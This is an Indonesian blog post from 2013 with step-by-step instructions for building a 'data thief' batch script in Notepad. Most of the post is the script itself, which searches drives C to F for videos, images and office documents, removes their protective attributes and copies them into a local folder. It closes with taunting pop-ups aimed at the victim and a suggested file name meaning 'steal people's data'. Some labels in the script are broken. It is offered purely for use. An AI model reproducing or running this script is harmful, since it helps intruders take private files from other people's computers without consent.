Minggu, 02 Juni 2013

cara-membuat-program-pencuri-data dengan notepad

Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti: *.3gp *.jpg *.avi *.wmv *.rm *.mpg *.doc *.xlsx dan lainnya sudah tersedia dalam script berikut, caranya mudah banget : 1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad. 2. Setelah kebuka notepadnya copy paste script berikut : Sciptnya echo off color 0a mode 31,15 if "%1"=="/?" goto Sej if not "%n%" == "" set n= :MetDtg cls title Stole V 3.2 msg * Digunakan untuk mencuri msg * File atau data2 korban echo. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ echo ³ Program Aplikasi ³ echo ³ Stole V 3 .2 ³ echo ³ Author : Amar Hacker ³ echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ :awal ption echo ------EKSTENSI FILE---------- echo [1] 3gp [4] jpg [7] doc echo [2] wmv [5] rm [8] xls echo [3] avi [6] mpg [9] Exit echo ============================= echo. set/p "pil=Masukan Pilihan: " if %pil%=='' goto option if %pil%==1 goto 3gp if %pil%==2 goto wmv if %pil%==3 goto avi if %pil%==4 goto jpg if %pil%==5 goto rm if %pil%==6 goto mpg if %pil%==7 goto if %pil%==8 goto m if %pil%==9 goto keluar goto option :3gp Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls goto awal goto option :goto wmv Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) cls echo sudah tidak ditemukan file nyah pause >nul goto option :avi Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls goto option :jpg Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls goto option :rm Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nulcls goto option :mpg Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls goto option :doc Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls goto option :xls Set Maling=%computername%_%random% If not exist "%Maling%" Md "%Maling%" For %%a in (C D E F) do if exist %%a:\ ( For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do ( attrib -s -h -r "%%b" copy "%%b" "%Maling%" /y) ) echo sudah tidak ditemukan file nyah pause >nul cls :keluar msg * data telah ter ambil!!! msg * Hayoo !!! Dta kmu tuh apa ya??? msg * HEhehehehe msg * by Amar Hacker msg * kunjungi situs kumpulanhacker.blogspot.com Exit 3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File contoh : Curidataorang.bat

Tidak ada komentar:

Poskan Komentar